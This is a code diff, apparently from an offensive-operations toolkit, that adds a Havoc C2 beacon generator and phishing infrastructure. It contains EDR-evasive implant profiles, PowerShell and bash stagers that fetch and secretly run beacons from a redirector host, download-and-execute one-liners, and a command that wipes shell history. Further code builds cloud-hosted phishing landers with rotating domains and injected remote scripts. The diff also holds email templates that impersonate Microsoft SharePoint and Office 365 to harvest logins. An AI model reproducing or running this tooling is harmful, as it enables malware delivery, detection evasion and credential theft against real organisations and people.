[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
|
||||
history -c 2>/dev/null
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in Bash stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers created successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating manifest file..."
|
||||
cat > $BEACONS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"windows_shellcode": "$shellcode_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"havoc_teamserver_port": "$TEAMSERVER_PORT",
|
||||
"havoc_http_port": "$HTTP_PORT",
|
||||
"havoc_https_port": "$HTTPS_PORT",
|
||||
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||
}
|
||||
EOF
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating reference file..."
|
||||
cat > $BEACONS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
- Teamserver Port: $TEAMSERVER_PORT
|
||||
- Admin User: $ADMIN_USER
|
||||
- Admin Password: $ADMIN_PASS
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
|
||||
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
|
||||
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
|
||||
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
|
||||
|
||||
Deployment Commands:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
|
||||
Anti-Detection Features Enabled:
|
||||
- Binary signature randomization
|
||||
- PE/ELF header manipulation
|
||||
- Sleep mask obfuscation
|
||||
- AMSI bypass in stagers
|
||||
- EDR unhooking
|
||||
- Indirect syscalls
|
||||
- Random sleep/jitter timing
|
||||
EOF
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting EDR-evasive Havoc beacon generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest file
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference file
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] EDR-evasive beacon generation complete!"
|
||||
@@ -1,9 +1,260 @@
|
||||
{# OMITTED — Havoc payload generation template #}
|
||||
{#
|
||||
Renders a script that produces EXE, DLL, and raw shellcode variants from a
|
||||
compiled Demon implant. Handles signing stubs, UPX packing decisions, and
|
||||
drops artifacts to the payload server staging directory.
|
||||
#!/bin/bash
|
||||
# EDR-evasive payload generator for Havoc C2
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
echo "[!] Havoc payload generator not included in public release."
|
||||
# Configuration (automatically populated by Ansible)
|
||||
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
TEAMSERVER_HOST="127.0.0.1"
|
||||
TEAMSERVER_PORT="40056"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $PAYLOADS_DIR/windows
|
||||
mkdir -p $PAYLOADS_DIR/linux
|
||||
mkdir -p $PAYLOADS_DIR/staged
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Define Havoc profiles for different payloads
|
||||
generate_profiles() {
|
||||
echo "[+] Generating Havoc C2 profiles..."
|
||||
|
||||
# Profile for Windows EXE
|
||||
cat > $PAYLOADS_DIR/win_exe.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": 0,
|
||||
"ExecutionMethod": 0,
|
||||
"ExecuteOptions": 0
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Profile for Linux ELF
|
||||
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"Injection": {
|
||||
"SpawnMethod": 1,
|
||||
"AllocationMethod": 1
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Profiles created successfully"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with CLI arguments
|
||||
generate_payloads() {
|
||||
echo "[+] Generating Havoc payloads..."
|
||||
|
||||
# Windows EXE
|
||||
win_output="agent_win_$(random_string 8).exe"
|
||||
echo "[+] Generating Windows payload: $win_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format exe \
|
||||
--output "$PAYLOADS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Windows DLL
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Generating Windows DLL: $dll_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format dll \
|
||||
--output "$PAYLOADS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Linux ELF
|
||||
linux_output="agent_linux_$(random_string 8)"
|
||||
echo "[+] Generating Linux payload: $linux_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/linux_elf.profile" \
|
||||
--format elf \
|
||||
--output "$PAYLOADS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload names for reference
|
||||
echo "$win_output:$dll_output:$linux_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating stagers..."
|
||||
|
||||
# PowerShell stager
|
||||
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
|
||||
# PowerShell stager for Havoc C2
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$ErrorActionPreference = 'SilentlyContinue'
|
||||
\$wc = New-Object System.Net.WebClient
|
||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
|
||||
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Bash stager
|
||||
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon
|
||||
|
||||
# Download binary to /tmp with random name
|
||||
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
|
||||
chmod +x \$TMPFILE
|
||||
|
||||
# Execute in background
|
||||
\$TMPFILE &
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers generated successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"generated_date": "$(date)"
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Manifest created successfully"
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Payloads Generated ($(date)):
|
||||
- Windows EXE: $win_output
|
||||
- Windows DLL: $dll_output
|
||||
- Linux Binary: $linux_output
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
Payload deployment:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
EOF
|
||||
|
||||
echo "[+] Reference file created successfully"
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting Havoc C2 payload generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Create stagers directory
|
||||
mkdir -p $PAYLOADS_DIR/stagers
|
||||
|
||||
# Generate profiles
|
||||
generate_profiles
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] Havoc payload generation complete!"
|
||||
@@ -158,6 +158,31 @@ def gather_phishing_parameters():
|
||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
|
||||
|
||||
# Trusted-cloud lander
|
||||
print(f"\n{COLORS['BLUE']}Trusted-Cloud Lander (optional){COLORS['RESET']}")
|
||||
config['use_lander'] = confirm_action("Generate a trusted-cloud lander page?", default=False)
|
||||
if config['use_lander']:
|
||||
config['lander_campaign_id'] = input("Campaign ID (alphanumeric, _ -) [required]: ").strip()
|
||||
if not config['lander_campaign_id']:
|
||||
print(f"{COLORS['RED']}Campaign ID required; skipping lander.{COLORS['RESET']}")
|
||||
config['use_lander'] = False
|
||||
else:
|
||||
print("Provider: 1) GCS 2) S3 3) Azure Blob")
|
||||
_pmap = {'1': 'gcs', '2': 's3', '3': 'azure'}
|
||||
config['lander_provider'] = _pmap.get(input("Select provider [1]: ").strip() or '1', 'gcs')
|
||||
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
|
||||
if not config['lander_bucket']:
|
||||
print(f"{COLORS['RED']}Bucket required; skipping lander.{COLORS['RESET']}")
|
||||
config['use_lander'] = False
|
||||
else:
|
||||
print("Mode: 1) Simple redirect 2) TDS (random subdomain rotation)")
|
||||
config['lander_mode'] = 'tds' if (input("Select mode [1]: ").strip() == '2') else 'simple'
|
||||
if config['lander_mode'] == 'tds':
|
||||
raw = input("TDS domains (comma-separated, no scheme) [required]: ").strip()
|
||||
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
|
||||
default_redirect = f"https://{config.get('phishing_hostname', config['phishing_domain'])}/login"
|
||||
config['lander_redirect_url'] = input(f"Redirect URL [default: {default_redirect}]: ").strip() or default_redirect
|
||||
|
||||
return config
|
||||
|
||||
def phishing_menu():
|
||||
@@ -417,6 +442,9 @@ def execute_phishing_deployment(config):
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
from modules.phishing.lander_gen import post_deploy_generate_lander
|
||||
post_deploy_generate_lander(config)
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import shlex
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
from jinja2 import Environment, FileSystemLoader
|
||||
|
||||
from utils.common import COLORS
|
||||
|
||||
_CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$')
|
||||
|
||||
|
||||
def _validate_campaign_id(campaign_id: str) -> str:
|
||||
if not _CAMPAIGN_ID_RE.match(campaign_id):
|
||||
raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}")
|
||||
return campaign_id
|
||||
|
||||
|
||||
def _validate_https_url(url: str, label: str) -> str:
|
||||
parsed = urlparse(url)
|
||||
if parsed.scheme != 'https' or not parsed.netloc:
|
||||
raise ValueError(f"{label} must be an https:// URL, got: {url!r}")
|
||||
return url
|
||||
|
||||
|
||||
def post_deploy_generate_lander(config: dict) -> None:
|
||||
if not config.get('use_lander'):
|
||||
return
|
||||
|
||||
campaign_id = _validate_campaign_id(config['lander_campaign_id'])
|
||||
provider = config['lander_provider']
|
||||
mode = config['lander_mode']
|
||||
bucket = config['lander_bucket']
|
||||
redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url')
|
||||
phishing_hostname = config.get('phishing_hostname', 'phishing.local')
|
||||
js_payload_url = _validate_https_url(
|
||||
f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url'
|
||||
)
|
||||
|
||||
template_dir = Path(__file__).parent / 'templates'
|
||||
env = Environment(loader=FileSystemLoader(str(template_dir)))
|
||||
|
||||
context = {
|
||||
'tds_enabled': mode == 'tds',
|
||||
'tds_domains': config.get('lander_tds_domains', []),
|
||||
'js_payload_url': js_payload_url,
|
||||
'redirect_url': redirect_url,
|
||||
}
|
||||
|
||||
html_template = env.get_template('cloud-lander.html.j2')
|
||||
js_template = env.get_template('js-payload.js.j2')
|
||||
|
||||
html_content = html_template.render(context)
|
||||
js_content = js_template.render(context)
|
||||
|
||||
out_dir = Path('.')
|
||||
html_file = out_dir / f'lander-{campaign_id}.html'
|
||||
js_file = out_dir / f'js-payload-{campaign_id}.js'
|
||||
|
||||
html_file.write_text(html_content)
|
||||
js_file.write_text(js_content)
|
||||
|
||||
print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
|
||||
|
||||
qbucket = shlex.quote(bucket)
|
||||
qhtml = shlex.quote(str(html_file))
|
||||
qjs = shlex.quote(str(js_file))
|
||||
|
||||
if provider == 'gcs':
|
||||
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
|
||||
upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
|
||||
elif provider == 's3':
|
||||
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
|
||||
upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
|
||||
elif provider == 'azure':
|
||||
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
|
||||
upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
|
||||
else:
|
||||
public_url = f"<unknown provider: {provider}>"
|
||||
upload_cmd = "<unknown provider>"
|
||||
|
||||
print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
|
||||
print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
|
||||
|
||||
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
|
||||
webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
|
||||
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
|
||||
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
|
||||
|
||||
print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_config = {
|
||||
'use_lander': False,
|
||||
'lander_campaign_id': 'test_001',
|
||||
'lander_provider': 'gcs',
|
||||
'lander_mode': 'simple',
|
||||
'lander_bucket': 'test-bucket',
|
||||
'lander_redirect_url': 'https://phishing.local/login',
|
||||
'phishing_hostname': 'phishing.local',
|
||||
}
|
||||
post_deploy_generate_lander(test_config)
|
||||
print("Self-check passed: disabled lander returned None without errors")
|
||||
@@ -0,0 +1,31 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="robots" content="noindex, noarchive">
|
||||
<title>Loading...</title>
|
||||
<script>
|
||||
{% if tds_enabled %}
|
||||
(function() {
|
||||
var domains = {{ tds_domains | tojson }};
|
||||
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
|
||||
function makeRandomSub(n) {
|
||||
var r='', c='abcdefghijklmnopqrstuvwxyz0123456789';
|
||||
for(var i=0;i<n;i++) r+=c.charAt(Math.floor(Math.random()*c.length));
|
||||
return r+'.';
|
||||
}
|
||||
var script = document.createElement('script');
|
||||
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
||||
document.head.appendChild(script);
|
||||
})();
|
||||
{% else %}
|
||||
(function() {
|
||||
var script = document.createElement('script');
|
||||
script.src = {{ js_payload_url | tojson }} + '?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
||||
document.head.appendChild(script);
|
||||
})();
|
||||
{% endif %}
|
||||
</script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>
|
||||
@@ -1,8 +1,118 @@
|
||||
{# OMITTED — file_share phishing email template #}
|
||||
{#
|
||||
Jinja2 email template for the file_share lure scenario. Rendered at deploy
|
||||
time with target organization name, sender domain, and tracking pixel URL
|
||||
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Document Shared</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td>
|
||||
<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
|
||||
</td>
|
||||
<td align="right">
|
||||
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
Omitted from public release. Present in operational deployments.
|
||||
#}
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Hi {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
|
||||
</p>
|
||||
|
||||
<!-- File Preview -->
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
|
||||
<tr>
|
||||
<td style="padding: 20px;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
|
||||
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
|
||||
</td>
|
||||
<td>
|
||||
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
|
||||
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<!-- Sender Message -->
|
||||
{% if include_message | default(true) %}
|
||||
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
|
||||
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
|
||||
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
|
||||
</p>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Open in SharePoint
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
|
||||
This link will expire in {{ expiry_days | default('7') }} days.<br>
|
||||
Only people with the link can access this file.
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
|
||||
Get the SharePoint mobile app
|
||||
</p>
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="padding: 0 5px;">
|
||||
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
|
||||
</td>
|
||||
<td style="padding: 0 5px;">
|
||||
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
|
||||
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,8 +1,51 @@
|
||||
{# OMITTED — office365_login phishing email template #}
|
||||
{#
|
||||
Jinja2 email template for the office365_login lure scenario. Rendered at deploy
|
||||
time with target organization name, sender domain, and tracking pixel URL
|
||||
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Microsoft Office 365 - Sign-in Required</title>
|
||||
<style>
|
||||
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f3f2f1; }
|
||||
.container { max-width: 600px; margin: 0 auto; background: white; border-radius: 2px; overflow: hidden; }
|
||||
.header { background: #0078d4; padding: 20px; color: white; }
|
||||
.content { padding: 30px; line-height: 1.6; }
|
||||
